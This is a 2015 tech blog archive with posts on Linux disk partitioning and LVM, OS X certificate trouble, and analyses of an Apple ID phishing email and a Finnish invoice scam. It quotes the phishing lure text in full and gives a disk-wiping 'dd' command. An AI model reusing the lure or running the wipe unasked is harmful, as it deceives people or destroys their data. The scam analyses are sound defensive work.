Adapter: ISA adapter
Vcore: +1.22 V (min = +0.99 V, max = +1.26 V)
+12V: +12.29 V (min = +11.42 V, max = +13.25 V)
AVCC: +3.33 V (min = +3.14 V, max = +3.63 V)
+3.3V: +3.31 V (min = +3.14 V, max = +3.63 V)
+5V: +5.04 V (min = +4.76 V, max = +5.52 V)
3VSB: +3.42 V (min = +3.14 V, max = +3.63 V)
Vbat: +3.38 V (min = +3.14 V, max = +3.63 V)
CPU fan: 912 RPM (min = 200 RPM)
HDD fan: 897 RPM (min = 200 RPM)
MB: +35.0°C (high = +38.0°C, hyst = +35.0°C) sensor = thermistor
CPU: +37.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
CPU?: +37.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
Before taking the readings, I ran sensors -s to set the min/max values.
Now my output starts making sense and I can actually monitor any changes.
PS.
At the time of writing this article, website http://www.lm-sensors.org/ was down for multiple days in a row. I can only hope, that project personnel solves the issue with the web site and it is up at the time you're seeing this.
Advent calendar 2015
Sunday, November 15. 2015
Like last year, I happened to get me an advent calendar this year too. The layout is a classic 24 x 0,5L containing 24 lids for the days in random order:
There seems to be .... erhm.... problems transporting alcohol to Finland, and many European vendors have pulled Finland off their available destinations. Amazon.de still delivers Lieferello goodies to us, so I got my Drinks & Fun Die Weihnachtsbrauerei Bier-Adventskalender. The same thing at Lieferello site would be here.
Now I'm just waiting for the 1st of December.
Update 17th and 28th Dec:
To squash a FAQ: The beers in the calendar are different. It wouldn't make any sense to buy a 24 pack of beers and call it an advent calendar. See:
- Felsgold Premium Pilsener
- Carl Theodor Lager
- Felskrone Premium Pilsener
- Pilsator Pilsener
- Durlacher Hof Weissbier
- Brauburger Premium Pilsener
- Harboe Bear Beer Strong Stout 8%
- Eichbaum Red Beer
- Edel Bayer Urtyp Hell
- Darguner Pilsener
- Kress Bayrisch Zwickel
- Barbarossa Premium Schwarzbier
- 5.0 Original Pils
- Durlacher Hof Weissbier (Hefeweissbier)
- Frankenthaler Germania Premium Strong
- Regenten Pilsener
- Maisel St. Michaelsberg 1122 Premium Pilsener
- König Wilhelm Hefeweissbier
- Mecklenburger Pilsener
- Dinkelacker CD-Pils
- von Raven Pilsener
- Eichbaum Pilsener
- Barbarossa Brauerei Helles Hefeweizen
Replacing physical drive for LVM - pvcreate Can't open /dev exclusively
Sunday, November 8. 2015
This is part 2 of my hard drive upgrade. My previous part was about failure to partition a replaced hard drive with GNU Parted: It was just emitting an error of: "The resulting partition is not properly aligned for best performance"
When I had the drive partitioned properly, I failed to proceed with my setup in a yet another mysterious error. My drives are always using LVM, so that I get more control over the filesystem sizes. To get the new partition into LVM, it needs to be associated with a Volume Group (VG). First step is to inform LVM about new physical drive:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
Oh really? It's definitely not mounted, but ... somebody is stealing my resource. The root of this problem is obviously on the fact, that there used to be a PV on that partition, but I replaced the drive and partitioned it. It is entirely possible, that LVM likes to fiddle with my new partition somehow.
The device mapper knows about the partition:
# dmsetup ls
Box_vg1-LogVol_wrk2 (253:9)
That's kind of bad. I guess it likes to hold on into it. Further check of:
# pvdisplay
... indicates, that LVM doesn't know about the partition (yet), but Linux kernel does.
An attempt to fix:
# dmsetup remove Box_vg1-LogVol_wrk2
And new attempt:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
No change. Perhaps a strace will provide helpful details of the problem:
# strace pvcreate /dev/sda1
...
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
open("/dev/sda1", O_RDWR|O_EXCL|O_DIRECT|O_NOATIME) = -1 EBUSY (Device or resource busy)
...
Reading a fragment of OPEN(2) man page:
OPEN(2)
open, openat, creat - open and possibly create a file
O_EXCL Ensure that this call creates the file: if this flag is
specified in conjunction with O_CREAT, and pathname already
exists, then open() will fail.
In general, the behavior of O_EXCL is undefined if it is used
without O_CREAT. There is one exception: on Linux 2.6 and
later, O_EXCL can be used without O_CREAT if pathname refers
to a block device. If the block device is in use by the
system (e.g., mounted), open() fails with the error EBUSY.
... confirms the suspicion, that somebody is holding a handle to the block device. Running lsof(8) or fuser(1) yield nothing. It's not a file-handle, when kernel has your block device as hostage.
My only idea at this point was to do a wimpy Windows-style reboot. The thing is: Linux-men don't reboot on anything, but this time I was out of ideas. I'm sure somewhere there is an IOCTL-call to release the handle, but I couldn't find it easily. So, a reboot was in order.
After the reboot: yes results:
# pvcreate /dev/sda1
Physical volume "/dev/sda1" successfully created
Then I could proceed with my build sequence. Next, associate a Volume Group with the new Pysical Volume. The options would be to to add the drive into an existing VG, or create a new one. I chose the latter:
# vgcreate Box_vg1 /dev/sda1
Volume group "Box_vg1" successfully created
Then create a logical partition, or Logical Volume in LVM-lingo on the newly created VG:
# lvcreate -L 800G -n LogVol_wrk2 Box_vg1
Logical volume "LogVol_wrk2" created
As a physical partition also a LV needs to have a filesystem on it, to be usable for the operating system:
# mkfs.ext4 /dev/Box_vg1/LogVol_wrk2
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 209715200 4k blocks and 52428800 inodes
Filesystem UUID: 93be6c97-3ade-4a62-9403-789f64ef73d0
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
Now the drive was ready to be mounted and I had plenty of completely empty space waiting for data to be stored on it.
I plugged in a SATA-USB -dock and started looking for my old data. I intentionally had created a VG with precisely the same name as the old drive had, so there was an obvious collision. My syslog had entries about the pvscan:
Nov 8 16:03:21 pvscan: device-mapper: create ioctl on Box_vg1-LogVol_wrk2 failed: Device or resource busy
Nov 8 16:03:21 pvscan: 0 logical volume(s) in volume group "Box_vg1" now active
Nov 8 16:03:21 pvscan: Box_vg1: autoactivation failed.
Yes, that one I had coming. No autoactivation, as VG names collided. A check:
# vgdisplay
--- Volume group ---
VG Name Box_vg0
...
--- Volume group ---
VG Name Box_vg1
...
--- Volume group ---
VG Name Box_vg1
...
VG UUID trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU
No surprises there, there were two Volume Groups with exactly same name. To address them, there are unique identifiers or UUIDs. With UUID, it is possible to rename the VG. Like this:
# vgrename trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU Box_vgold
Volume group "Box_vg1" successfully renamed to "Box_vgold"
Now it would be possible to activate and it would appear on udev:
# vgchange -ay Box_vgold
1 logical volume(s) in volume group "Box_vgold" now active
Now the old data was available at /dev/Box_vgold/LogVol_wrk2 and ready to be mounted and files copied out of it.
Done and mission accomplished! Now I had much more space on a fast drive.
GNU Parted: Solving the dreaded "The resulting partition is not properly aligned for best performance"
Saturday, November 7. 2015
On the other day I was cleaning out junk from my shelfs and found a perfectly good WD Caviar Black hard drive. Obviously in the current SSD-era where your only computer is a laptop and most of your data is stashed into a cloud somewhere, no regular Joe User is using spinning platters.
Hey! I'm not a regular, nor joe. I have a Linux-server running with plenty of capacity in it for my various computing needs. So, the natrural thing to do is to pop out one of the old drives and hook this 1,5 TiB high performing storage monster to replace it. The actual hardware installation on an ATX-case isn't anything worth documenting, but what happens afterwards goes pretty much this sequence: 1) partition the drive, 2) copy all/some of the old data back to it and 3) continue living successfully ever after.
The typical scenario is that something always at least hiccups, if not fails. And as expected, I choked on the 1).
Here goes:
Preparation
The drive had been used previously, and I just wasted the beginning of the drive by writing 10k sectors of nothingness. This will remove all traces of possible partition tables, boot sectors and all the critical metadata of the drive you normally value highly:
# dd if=/dev/zero of=/dev/sda bs=512 count=10000
Pay attetion to the details. It would be advisable to target a correct drive. In my case a regular JBOD-drive really appears as /dev/sda on the Linux-side. On your case, I'm pretty sure your operating system runs on /dev/sda, so please don't wipe that.
Then with GNU Parted, create a GUID partition table (or GPT):
# parted /dev/sda
GNU Parted 3.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mktable gpt
That's it for the preparation part.
Attempt 1: The stupid way
Regardless what's on the drive already (in my case, its completely empty), Parted syntax allows an approach, where you create a partition using the maximum allowed capacity from start 0, to end -1. Like this:
(parted) mkpart LVM ext4 0 -1
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
That obviously will emit an error about non-optimal partition alignment. But hey, that's what I asked for. I obviously cancelled that attempt.
Attempt 2: The smart way
A smart approach would be to see about the boundaries:
(parted) print free
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 1500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt Disk Flags:
Number Start End Size File system Name Flags
17.4kB 1500GB 1500GB Free Space
Now we have a range of 17.4 KiB to 1500 GiB which can be used for a new partition. Let's try that:
(parted) mkpart LVM ext4
Start? 17.4kB
End? 1500GB
Warning: You requested a partition from 16.9kB to 1500GB (sectors 33..2929687500).
The closest location we can manage is 17.4kB to 1500GB (sectors 34..2930277134).
Is this still acceptable to you? Yes/No? y
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
I have bumped into this number of times earlier. Why in the f**k cannot the Parted tell me what values it wants to see there!! Come on!
This is the part where it hits me like a hammer: enough bullshit, let's solve this once and for all!
Attempt 3: Solution
This is the script I wrote: parted_mkpart_calc.sh.
It is based on the information found from following sources:
- How to align partitions for best performance using parted, somebody else is having the same fight than I do
- I/O Limits: block sizes, alignment and I/O hints, information about the Parted alignment calculation
- https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-block, Linux kernel block-device ABI information
It is a Bash-script to do the math for you. Example usage:
$ ./parted_mkpart_calc.sh sda
Using default 1 MiB default alignment in calc
Calculated alignment for /dev/sda (gpt) is: 2048s
If you would be root, you could create partition with:
# parted /dev/sda mkpart [name] [type] 2048s 2930276351s
Verify partition alignment with:
# parted /dev/sda align-check optimal 1 Should return: 1 aligned
I just enter one argument to the script: sda. From that, the script deduces the alignment, that should be used when partitioning that block-device. In this case it is 2048 sector boundaries (what it doesn't say is, that a sector contains 512 bytes). But it outputs 2 commands which can be copy/pasted (as root):
parted /dev/sda mkpart [name] [type] 2048s 2930276351s
If you would replace [name] with a partition name and [type] with a partition type, it would create a correctly aligned partition to fill up most of the drive. It won't fill up exactly all of the drive, because of the alignment issues.
To help that issue, I added a feature to do the following:
$ ./parted_mkpart_calc.sh sda LVM ext4
Optionally, you can provide the partition name and type on the command line to get:
parted /dev/sda mkpart LVM ext4 2048s 2930276351s
as output. That's ready-to-go copy/paste material.
Finally, you can verify the correct alignment:
# parted /dev/sda align-check optimal 1
1 aligned
That's the proof, that calc worked ok.
Attempt 4: The simple way
It didn't take long, before I got my first comment on this article. It was simply: "Why didn't you use percentages?". What? What percentages.
Example:
(parted) unit s
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
(parted) rm 1
(parted) mkpart LVM ext4 0% 100%
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
Using range 0% 100% will produce exactly the same results. Amazing!
So, parted knows the alignment and can use it, but not if you don't first do a rain dance and knock three times on a surface sprinkled with holy water.
Final Words
Why does Parted complain about mis-alignment, but offers no help at all? That's just plain stupid!
Of course, I should add the feature to the source code and offer the patch to FSF, but on the other hand. Naah. I don't want to waste any more energy on this madness.
OS X El Capitan upgrade - Afterwork with Verisign certificates
Monday, October 26. 2015
I previously wrote about upgrading OS X El Capitan. After doing couple of boxes I ran into a SNAFU.
If you don't see anything in that page, that's correct! There is nothing there. It would be a safe assumption, that something had gone wrong.
Here is what web browser console says:
Error was: "Failed to load resource: The certificate for this server is invalid." As the errors were emitting from Amazon CloudFront, it didn't make any sense at all. Either Amazon had some sort of security fault happening, or I did. Unfortunately in such situations, the odds are always against me. I had upgraded couple of Macs already and had no problems with them, this box must have had something wrong with it.
My next move was to get a list of trusted root certificates shipping with an OS X. The list is available in Apple knowledgebase article HT205204. Here is what I got:
Another error: 'Safari can't verify the identity of the website "support.apple.com"'. Right. First Amazon was failing on me, then Apple. At this point I whipped up an already upgraded Mac and went for the page, this time it looked ok:
That was the proof, that something was badly off on that Mac.
For fact gathering I went trough the certificate chain of support.apple.com:
As the certificate wasn't trusted, the page looked horrible and there was no lock-icon on the address bar. The important fact here was, that the root certificate of VeriSign Class 3 Public Primary Certification Authority - G5 had version number 3 and serial number of 25 0C E8 E0 30 61 2E 9F 2B 89 F7 05 4D 7C F8 FD. On the working Mac same certificate:
A completely different serial number of 18 DA D1 98 26 7D E8 BB 4A 21 58 CD CC 6B 2B 4A.
Then the relevant question was: Why do they differ? The facts are at OS X certificate store. It so happens, that all certificates can be viewed and altered via Keychain Access -tool. I went to see the System Roots -keychain:
But that didn't solve my problem! VeriSign Class 3 Public Primary Certification Authority - G5 was there and had the proven correct serial number of 18 DA D1 98 26 7D E8 BB 4A 21 58 CD CC 6B 2B 4A. More poking around, and this is what I found:
A set of Verisign certificates on login-keychain. Weird. One of them was:
There was the 25 0C E8 E0 30 61 2E 9F 2B 89 F7 05 4D 7C F8 FD! The only appropriate action was:
And that solved it! Simply letting the weird ones go made all my websites work again.
But where did those certs come from? By googling I found Why is Symantec/Verisign CA appearing as an invalid authority? [closed] and Invalid certificate after Security Update 2015-004 in Mavericks. They both were pointing a finger to April 2015 security update. The release notes About the security content of OS X Yosemite v10.10.3 and Security Update 2015-004 say:
Certificate Trust Policy
Impact: Update to the certificate trust policy
Description: The certificate trust policy was updated. View the complete list of certificates.
I just happened to update the Mac too early and got a flawed upgrade. It is also possible, that on April, when I got bad certs, I may have gone to Verisign and manually loaded the proper root certificates in to fix my problem at the time. However, it just blew up on my face on OS X 11 upg.
If you never encountered any of this: good. I honestly don't think this issue is touching a wide audience. However, I disclosed this information for archive purposes. If something like this happens in the future, you have a clue what to look for.
Apple ID Scam: Part 3 - Your Apple ID is on Hold
Sunday, October 25. 2015
One of my honey traps got one interesting one. Typiacally the junk is 419 scams, and with all the variations, twists and quirks, they offer very little worth reporting. I have written posts about Apple ID scams earlier, part 1 and part 2.
This is how the "roper" is trying to lure me in. He chose to impersonate the CEO of Apple Inc, Mr. Cook. Really believable, IMHO.
Here goes:
Dear Customer,
We have detected an unauthorized sign in on your Apple ID (me@my.mail)
We have temporarily locked your Apple ID for your safety.
While your Apple ID is locked access to Apple software and your iCloud is limited.
In order to unlock your Apple ID Account please click here.
Privacy
Security and privacy are fundamental to the design of all our hardware, software, and services, including iCloud and new services like Apple Pay. And we continue to make improvements. Two-step verification, which we encourage all our customers to use, in addition to protecting your Apple ID account information, now also protects all of the data you store and keep up to date with iCloud.
We believe in telling you up front exactly what's going to happen to your personal information and asking for your permission before you share it with us. And if you change your mind later, we make it easy to stop sharing with us. Every Apple product is designed around those principles. When we do ask to use your data, it's to provide you with a better user experience.
Our commitment to protecting your privacy comes from a deep respect for our customers. We know that your trust doesn't come easy. That's why we have and always will work as hard as we can to earn and keep it.
Tim Cook
CEO, Apple Inc.
Sure, it could have been true. It could be possible, that my Apple ID was put into hold because somebody attempted to hack it, but it wasn't.
Findings:
- The Apple logo in the HTML-version of the e-mail was loading from http://i.imgur.com/zGVkgD1.png. I don't think Apple corporation would do that.
- The link to unlock pointed into http://support.apple.com.en-gb.confirm.id.auth.cgi-key.myapple-unlock.web.user.<THIS-PART-REMOVED>.com, which really doesn't sound something that Apple would use.
- Actually, at the time of writing, entire domain was removed. It's not available, no DNS, no nothing.
- The domain was registered via Todaynic.com, Inc. That is a Chinese domain-company. Really! I'm sure Apple wouldn't use them.
- Registrant for the domain was a private person, allegedly living in Beijing, China.
- The e-mail has following route:
- Original client at Suddenlink Communications DHCP-pool. IP has location of Greenwood, Mississippi, USA
- Mail relay via Power DNN of Omaha, Nebraska, USA
- Google Mail
- Me
- Mail route doesn't make any sense. All my real Apple e-mail originates from Apple directly, not via obscure teleoperators.
I think that's plenty of proof to call that one a fake!
Suomen yritystietopankki SYTP - Anatomy of an Invoicing scam (Finnish)
Tuesday, October 13. 2015
The mailman brought me a nice and official looking letter. I didn't recognize the sender from the envelope, so I just opened it as anybody would do. It was in invoice from a Finnish company I've never heard:
On a cursory glance it says I have to pay 249,- € for this company for something they really don't specify.
By Googling, I found a (Finnish) thread about that at http://murobbs.muropaketti.com/threads/suomen-yritystietopankki-sytp-huijauskirje-nigerialaiseen-tapaan.1254838/.
Timing
Why do I receive this today, on this Tuesday? "By chance, they just happened to act now", pretty much everybody says.
I don't. Its a school holiday week in Southern Finland this week. A lot of companies are using less experienced personnel in their daily operations this week. A social hack will work much better to untrained people.
Invoice, front
On the invoice they have all my details. However, as many countries, also Finland has a public registry of all the companies and corporations at YTJ. The information is actually on sale as bulk in many formats and you can even subscribe to a update-stream to always have the most recent information at your own use in a server processable format. So, they got all that right to drop all doubt that I might have.
Corporate Info
This is the upper right corner of the invoice:
It doesn't have the business ID. All legit companies have it there clearly visible. That's because the VAT legislation forces you to have your BIS available easily. The information can be read in a very fine print next to their payment information.
Their business registration information is as follows:
It says, that the company was founded in November 2014. However, they activated this company into VAT-registrer September this year. I read that as somebody just popping a shelf-company out of desktop drawer into action.
The really funny thing is, that they don't have a phone number in their info. That's more than weird for any legit business. Typically you want to be contacted when needed.
Corporate Address
The address in Finland as stated by the "invoice" (Google Maps):
Lautatarhankatu 6
00580 HELSINKI
It happens to be 1Office's Helsinki location. These scamsters will have a seemingly legit office location. In a place where a virtual address will cost them no more than 65,- € per month.
The bold part
This is what they want you to look at:
That information would be typical for an invoice. Invoice date, due date, reference and amount. If you don't look closely enough, you would process this one and have it paid at due date.
The real deal
For legal reasons, they don't say Invoice anywhere in the "Invoice". They say, it's an offer to publish your company information upon payment:
If that monster of a term sounds confusing to you, good, that's their intention. In a court of law, they'd just say that they sent offers to companies. However, their "offers" look very much like invoices.
The text in the middle is saying in a threatening manner: "we will remove your business information from our records, unless you pay this amount" is really funny. What I'd love to have is my information removed!
To make all that more threatening, they're saying that "if you want to re-enable your record, the cost will be 540,- €". That's ballsy!
Bank information
It would be a safe assumption that the bank account FI39 570 4320 0254 68 is a valid one. They'll most likely accept any money you'll send to them. In case of trouble, don't worry, you won't get it back.
Corporate Website
Domain
The domain of suomenyritystietopankki.fi is registered to Suomen Yritystietopankki SYTP Oy, 2654517-2.
That is not surprising, but the fact that there is a responsible person for domain is a surprise. The name they gave is: Gyula Katona. I would find it hard to believe, that the Hungarian mathemacian has anything to do with that domain. Most likely fake information.
The technical contact is Domain Directors (Finland) Oy. Yet another valid company, but it is not in tax prepayment or VAT-registers. That is a definite sign of non-active company frozen and shelfed. I tried calling Mr. Tony Lentino at +358 942597854, but I got call forwarded to somewhere in Europe over the crappiest VoIP-line there is. I really couldn't understand anything.
DNS is run by Amazon Route 53 at multiple geographical locations. MX-records in e-mail indicate, that their e-mail is handled by Google Mail.
Implementation
This is what their website looked like when I visited it:
It contains couple of pages and some seemingly working actions. I omitted the valid companies from the picture, but the obvious English review of Fortune Motors Oy kind of sticks out. The business is real as all the businesses they're displaying on their front page. This is the business record for that particular company:
Looks like that Finnish company is already out-of-business. And that's what they're using for an endorsement!
Based on the information they're giving out on a HTTP-request:
The cookie they're setting says Laravel framework. Server is running Apache 2.4.7 and PHP 5.5.9 on Ubuntu Trusty (14.04).
Hosting
The IP-address of 52.5.91.166 is registered to Amazon, Inc. Actually the entire CIDR 52.0.0.0/11 is Amazon Web Services' property. There is an Amazon US East data center at Virginia, USA, where the geo IP location of that address points to. So it would be safe to guess, that the web server runs on AWS US East.
Invoice, back
This are their terms and conditions:
That's mostly legal mumbo-jumbo. The text is valid and appears to be legit. The terms are really bad for you, though.
Conclusions
All this says, this is an international operation. All the data is spread over foreign locations to make any investigation really hard without US Department of Justice involved.
What they're doing is not directly illegal or banned, but the way they're doing their "marketing" is dubious at best. They even are running a website, it has business information and "reviews" of those businesses in it. However, some of the businesses are already shut down, and the reviews are very fake. But again, in a court of law, they'll claim, that they're running a marketing business.
In the terms and conditions part, they make it clear, that their "contract" is valid for companies only, that way consumer protection laws don't apply to them. What's between two businesses has very little protection in the legislation. A company can agree to a contract if they wish to do so.
I don't think this will be the last of them.
Beware!
